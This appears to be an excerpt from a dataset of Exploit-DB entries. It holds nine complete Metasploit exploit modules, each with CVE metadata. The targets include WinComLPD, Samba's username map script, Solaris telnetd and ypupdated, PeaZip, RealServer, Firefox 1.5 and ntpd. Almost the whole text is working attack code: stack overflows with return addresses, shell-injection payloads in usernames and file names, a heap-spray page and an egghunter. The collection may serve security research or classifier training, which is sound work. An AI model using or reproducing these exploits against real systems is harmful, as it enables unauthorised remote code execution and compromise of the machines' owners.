QLWD/code_shield huggingface dataset:
标题: WinComLPD 3.0.2 - Remote Buffer Overflow (Metasploit) EDB-ID: 16335 CVE: 2008-5159 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: wincomlpd_admin.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WinComLPD <= 3.0.2 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
    By sending an overly long authentication packet to the remote
    adminstration service, an attacker may be able to execute arbitrary
    code.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     ['CVE', '2008-5159'],
     ['OSVDB', '42861'],
     ['BID', '27614'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x0a",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'WinComLPD 3.0.2.623',   { 'Ret' => 0x0047d7a7 } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Feb 4 2008',
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(13500)], self)
 end

 def exploit
  connect

  # 'net start lpdservice' after you migrate!
  sploit =  "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
  sploit << make_nops(872 - payload.encoded.length)
  sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
  sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
  sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)

  print_status("Trying target #{target.name}...")

  sock.puts(sploit)
  select(nil,nil,nil,5)

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16335
标题: Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) EDB-ID: 16320 CVE: 2007-2447 类型: REMOTE 平台: UNIX 发布日期: 2010-08-18 漏洞利用脚本: ##
# $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::SMB

 # For our customized version of session_setup_ntlmv1
 CONST = Rex::Proto::SMB::Constants
 CRYPT = Rex::Proto::SMB::Crypt

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Samba "username map script" Command Execution',
   'Description'    => %q{
     This module exploits a command execution vulerability in Samba
    versions 3.0.20 through 3.0.25rc3 when using the non-default
    "username map script" configuration option. By specifying a username
    containing shell meta characters, attackers can execute arbitrary
    commands.

    No authentication is needed to exploit this vulnerability since
    this option is used to map usernames prior to authentication!
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10040 $',
   'References'     =>
    [
     [ 'CVE', '2007-2447' ],
     [ 'OSVDB', '34700' ],
     [ 'BID', '23972' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
     [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => true, # root or nobody user
   'Payload'        =>
    {
     'Space'    => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       # *_perl and *_ruby work if they are installed
       # mileage may vary from system to system..
      }
    },
   'Targets'        =>
    [
     [ "Automatic", { } ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 14 2007'))

  register_options(
   [
    Opt::RPORT(139)
   ], self.class)
 end


 def exploit

  connect

  # lol?
  username = "/=`nohup " + payload.encoded + "`"
  begin
   simple.client.negotiate(false)
   simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
  rescue ::Timeout::Error, XCEPT::LoginError
   # nothing, it either worked or it didn't ;)
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/16320
标题: Solaris - ypupdated Command Execution (Metasploit) EDB-ID: 16326 CVE: 1999-0209 类型: REMOTE 平台: SOLARIS 发布日期: 2010-07-25 漏洞利用脚本: ##
# $Id: ypupdated_exec.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::SunRPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Solaris ypupdated Command Execution',
   'Description'    => %q{
    This exploit targets a weakness in the way the ypupdated RPC
    application uses the command shell when handling a MAP UPDATE
    request.  Extra commands may be launched through this command
    shell, which runs as root on the remote host, by passing
    commands in the format '|<command>'.

    Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
    ypupdated is started with the '-i' command-line option.
   },
   'Author'         => [ 'I)ruid <druid@caughq.org>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9929 $',
   'References'     =>
    [
     ['CVE', '1999-0209'],
     ['OSVDB', '11517'],
     ['BID', '1749'],
    ],
   'Privileged'     => true,
   'Platform'       => ['unix', 'solaris'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        => [ ['Automatic', { }], ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 12 1994'
  ))

  register_options(
   [
    OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),
    OptInt.new('GID', [false, 'GID to emulate', 0]),
    OptInt.new('UID', [false, 'UID to emulate', 0])
   ], self.class
  )
 end

 def exploit
  hostname  = datastore['HOSTNAME']
  program   = 100028
  progver   = 1
  procedure = 1

  print_status('Sending PortMap request for ypupdated program')
  pport = sunrpc_create('udp', program, progver)

  print_status("Sending MAP UPDATE request with command '#{payload.encoded}'")
  print_status('Waiting for response...')
  sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
  command = '|' + payload.encoded
  msg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
  sunrpc_call(procedure, msg)

  sunrpc_destroy

  print_status('No Errors, appears to have succeeded!')
 rescue ::Rex::Proto::SunRPC::RPCTimeout
  print_error('Warning: ' + $!)
 end

end URL: https://www.exploit-db.com/exploits/16326
标题: Sun Solaris Telnet - Remote Authentication Bypass (Metasploit) EDB-ID: 16328 CVE: 2007-0882 类型: REMOTE 平台: SOLARIS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: fuser.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
   'Description'    => %q{
    This module exploits the argument injection vulnerabilty
    in the telnet daemon (in.telnetd) of Solaris 10 and 11.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2007-0882' ],
     [ 'OSVDB', '31881'],
     [ 'BID', '22512' ],
    ],
   'Privileged'     => false,
   'Platform'       => ['unix', 'solaris'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => '',
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        =>
    [
     ['Automatic', { }],
    ],
   'DisclosureDate' => 'Feb 12 2007',
   'DefaultTarget' => 0))

   register_options(
    [
     Opt::RPORT(23),
     OptString.new('USER', [ true, "The username to use",     "bin" ]),
    ], self.class)
 end

 def exploit
  connect

  print_status('Setting USER environment variable...')

  req =  "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
  req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
  req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"

  sock.put(req)
  sock.get_once

  req << "\xFF\xFC\x25"

  sock.put(req)
  sock.get_once

  req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"

  sock.put(req)
  sock.get_once

  req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"

  sock.put(req)
  sock.get_once

  req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

  sock.put(req)
  sock.get_once

  req =  "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
  req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
  req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

  sock.put(req)
  sock.get_once
  select(nil,nil,nil,0.25)

  sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

  select(nil,nil,nil,0.25)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16328
标题: Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (2) (Metasploit) EDB-ID: 16327 CVE: 2001-0797 类型: REMOTE 平台: SOLARIS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: ttyprompt.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
   'Description'    => %q{
    This module uses a buffer overflow in the Solaris 'login'
   application to bypass authentication in the telnet daemon.
   },
   'Author'         => [ 'MC', 'cazz' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2001-0797'],
     [ 'OSVDB', '690'],
     [ 'BID', '5531'],

    ],
   'Privileged'     => false,
   'Platform'       => ['unix', 'solaris'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => '',
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        =>
    [
     ['Automatic', { }],
    ],
   'DisclosureDate' => 'Jan 18 2002',
   'DefaultTarget' => 0))

   register_options(
    [
     Opt::RPORT(23),
     OptString.new('USER', [ true, "The username to use",     "bin" ]),
    ], self.class)
 end

 def exploit
  connect

  banner = sock.get_once

  print_status('Setting TTYPROMPT...')

  req =
   "\xff\xfc\x18" +
   "\xff\xfc\x1f" +
   "\xff\xfc\x21" +
   "\xff\xfc\x23" +
   "\xff\xfb\x22" +
   "\xff\xfc\x24" +
   "\xff\xfb\x27" +
   "\xff\xfb\x00" +
   "\xff\xfa\x27\x00" +
   "\x00TTYPROMPT" +
   "\x01" +
   rand_text_alphanumeric(6) +
   "\xff\xf0"

  sock.put(req)
  select(nil,nil,nil,0.25)

  print_status('Sending username...')

  filler = rand_text_alpha(rand(10) + 1)

  req << datastore['USER'] + (" #{filler}" * 65)

  sock.put(req + "\n\n\n")

  select(nil,nil,nil,0.25)
  sock.get_once

  sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

  select(nil,nil,nil,0.25)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16327
标题: PeaZIP 2.6.1 - Zip Processing Command Injection (Metasploit) EDB-ID: 16307 CVE: 2009-2261 类型: LOCAL 平台: MULTIPLE 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: peazip_command_injection.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PeaZip <= 2.6.1 Zip Processing Command Injection',
   'Description'    => %q{
     This module exploits a command injection vulnerability in PeaZip. All
    versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
    version 2.6.1 on Windows.

    In order for the command to be executed, an attacker must convince someone to
    open a specially crafted zip file with PeaZip, and access the specially file via
    double-clicking it. By doing so, an attacker can execute arbitrary commands
    as the victim user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Nine:Situations:Group::pyrokinesis',
     'jduck'
    ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2009-2261' ],
     [ 'OSVDB', '54966' ],
     [ 'URL', 'http://peazip.sourceforge.net/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/8881' ]
    ],
   'Platform'       => ['unix', 'win', 'linux'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => '',
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        =>
    [
     ['Automatic', { }],
    ],
   'DisclosureDate' => 'Jun 05 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),
   ], self.class)
 end


 def exploit

  # NOTE: using a command line containing / or \ will result in the command
  # being easily visible to the victim
  cmd = datastore['CMD']

  fname = "README.TXT"
  rest = "\"|#{cmd}|.txt"
  fname << " " * (255 - fname.length - rest.length)
  fname << rest

  content = rand_text_alphanumeric(rand(1024))

  zip = Rex::Zip::Archive.new
  zip.add_file(fname, content)

  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(zip.pack)
 end

end URL: https://www.exploit-db.com/exploits/16307
标题: RealServer - Describe Buffer Overflow (Metasploit) EDB-ID: 16286 CVE: 2002-1643 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-08-07 漏洞利用脚本: ##
# $Id: describe.rb 9971 2010-08-07 06:59:16Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/http/client'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealServer Describe Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in RealServer 7/8/9
    and was based on Johnny Cyberpunk's THCrealbad exploit. This
    code should reliably exploit Linux, BSD, and Windows-based
    servers.
   },
   'Author'         => 'hdm',
   'Version'        => '$Revision: 9971 $',
   'References'     =>
    [
     [ 'CVE', '2002-1643' ],
     [ 'OSVDB', '4468'],
     [ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html']
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
    },
   'Targets'        =>
    [
     [
      'Universal',
      {
       'Platform' => [ 'linux', 'bsd', 'win' ]
      },
     ],
    ],
   'DisclosureDate' => 'Dec 20 2002',
   'DefaultTarget' => 0))
 end

 def check
  res = send_request_raw(
   {
    'method' => 'OPTIONS',
    'proto'  => 'RTSP',
    'version' => '1.0',
    'uri'    => '/'
   }, 5)

  info = http_fingerprint({ :response => res })  # check method / Custom server check
  if res and res['Server']
   print_status("Found RTSP: #{res['Server']}")
   return Exploit::CheckCode::Detected
  end
  Exploit::CheckCode::Safe
 end

 def exploit
  print_status("RealServer universal exploit launched against #{rhost}")
  print_status("Kill the master rmserver pid to prevent shell disconnect")

  encoded = Rex::Text.to_hex(payload.encoded, "%")

  res = send_request_raw({
   'method' => 'DESCRIBE',
   'proto'  => 'RTSP',
   'version' => '1.0',
   'uri'    => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16286
标题: Mozilla Firefox - location.QueryInterface() Code Execution (Metasploit) EDB-ID: 16301 CVE: 2006-0295 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: firefox_queryinterface.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Firefox location.QueryInterface() Code Execution',
   'Description'    => %q{
     This module exploits a code execution vulnerability in the Mozilla
    Firefox browser. To reliably exploit this vulnerability, we need to fill
    almost a gigabyte of memory with our nop sled and payload. This module has
    been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>  ['hdm'],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2006-0295'],
     ['OSVDB', '22893'],
     ['BID', '16476'],
     ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
    ],
   'Payload'        =>
    {
     'Space'    => 1000 + (rand(256).to_i * 4),
     'BadChars' => "\x00",
    },
   'Targets'        =>
    [
     [ 'Firefox 1.5.0.0 Mac OS X',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_PPC
      }
     ],

     [ 'Firefox 1.5.0.0 Linux',
      {
       'Platform' => 'linux',
       'Arch' => ARCH_X86,
      }
     ],
    ],
   'DisclosureDate' => 'Feb 02 2006'
   ))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
  handler(cli)
 end

 def generate_html(payload)

  enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

  return <<-EOF
<html>
<head>
<title>One second please...</title>
<script language="javascript">

function BodyOnLoad() {
 h = FillHeap();
 location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
};

function FillHeap() {
 // Filler
 var m = "";
 var h = "";
 var a = 0;
 
 // Nop sled
 for(a=0; a<(1024*256); a++)
  m += unescape("#{enc_nops}");
  
 // Payload
 m += unescape("#{enc_code}");
 
 // Repeat
 for(a=0; a<1024; a++)
  h += m;
  
 // Return
 return h;
}
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
EOF
 end

end URL: https://www.exploit-db.com/exploits/16301
标题: NTP daemon readvar - Remote Buffer Overflow (Metasploit) EDB-ID: 16285 CVE: 2001-0414 类型: REMOTE 平台: LINUX 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: ntp_overflow.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Udp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NTP daemon readvar Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack based buffer overflow in the
    ntpd and xntpd service. By sending an overly long 'readvar'
    request it is possible to execute code remotely. As the stack
    is corrupted, this module uses the Egghunter technique.
   },
   'Author'         => 'patrick',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10150 $',
   'References'     =>
    [
      [ 'CVE', '2001-0414' ],
      [ 'OSVDB', '805' ],
      [ 'BID', '2540' ],
      [ 'US-CERT-VU', '970472' ],
    ],
   'Payload'        =>
    {
     'Space'    => 220,
     'BadChars' => "\x00\x01\x02\x16,=",
     'StackAdjustment' => -3500,
     'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "xor eax,eax mov al,27 int 0x80").encode_string, # alarm(0)
     'Compat'   =>
     {
      'ConnectionType' => '-reverse',
     },
    },
   'Platform'       => [ 'linux' ],
   'Arch'   => [ ARCH_X86 ],
   'Targets'        =>
    [
      [ 'RedHat Linux 7.0 ntpd 4.0.99j',   { 'Ret' => 0xbffffbb0 } ],
      [ 'RedHat Linux 7.0 ntpd 4.0.99j w/debug',  { 'Ret' => 0xbffff980 } ],
      [ 'RedHat Linux 7.0 ntpd 4.0.99k',   { 'Ret' => 0xbffffbb0 } ],
      #[ 'FreeBSD 4.2-STABLE',    { 'Ret' => 0xbfbff8bc } ],
      [ 'Debugging',      { 'Ret' => 0xdeadbeef } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Apr 04 2001',
   'DefaultTarget' => 0))

  register_options([Opt::RPORT(123)], self.class)
 end

 def exploit

  hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
  egg     = hunter[1]

  connect_udp

  pkt1 = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x016stratum="
  pkt2 = "\x16\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"

  sploit =  pkt1 + make_nops(512 - pkt1.length)
  sploit[(220 + pkt1.length), 4] = [target['Ret']].pack('V')
  sploit[(224 + pkt1.length), hunter[0].length] = hunter[0]

  print_status("Trying target #{target.name}...")

  print_status("Sending hunter")
  udp_sock.put(sploit)
  select(nil,nil,nil,0.5)

  print_status("Sending payload")
  udp_sock.put(pkt1 + egg)
  select(nil,nil,nil,0.5)

  print_status("Calling overflow trigger")
  udp_sock.put(pkt2)
  select(nil,nil,nil,0.5)

  handler
  disconnect_udp

 end

end URL: https://www.exploit-db.com/exploits/16285